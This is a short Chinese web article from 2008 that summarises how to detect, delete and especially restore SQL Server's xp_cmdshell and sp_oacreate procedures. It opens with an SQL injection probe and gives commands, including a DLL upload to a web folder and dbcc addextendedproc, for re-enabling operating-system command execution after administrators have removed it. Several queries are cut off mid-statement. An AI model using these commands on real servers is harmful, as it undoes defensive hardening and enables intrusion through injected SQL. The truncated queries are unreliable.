·一周点击排行
·热点推荐
您的位置:首页 >> 计算机 » 网络工程 » xp_cmdshell的删除及恢复方法总结 >> 正文

xp_cmdshell的删除及恢复方法总结

发布时间:2008-1-15 9:44:00 浏览次数: 809

一、xp_cmdshell的删除及恢复

1、判断xp_cmdshell是否存在
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = ’X’ AND name = ’xp_cmdshell’)

select count(*) from master.dbo.sysobjects where xtype=’x’ and 
返回结果为1就ok

 
2、恢复xp_cmdshell的方法 
删除扩展存储过过程xp_cmdshell的语句 
exec sp_dropextendedproc ’xp_cmdshell’ 

恢复cmdshell的sql语句 
exec sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’ 

exec master.dbo.addextendedproc ’xp_cmdshell’,’xplog70.dll’;select count(*) from master.dbo.sysobjects where xtype=’x’ and 
返回结果为1就ok 

否则需上传c:\inetput\web\xplog70.dll后 
exec master.dbo.sp_addextendedproc ’xp_cmdshell’,’c:\inetput\web\xplog70.dll’;

如果是用以下方法删除 
drop procedure sp_addextendedproc 
drop procedure sp_oacreate 
exec sp_dropextendedproc ’xp_cmdshell’ 

则可以用以下语句恢复 
dbcc addextendedproc ("sp_oacreate","odsole70.dll") 
dbcc addextendedproc ("xp_cmdshell","xplog70.dll") 
这样可以直接恢复,不用去管sp_addextendedproc是不是存在


讨论此主题请进>>: xp_cmdshell的删除及恢复方法总结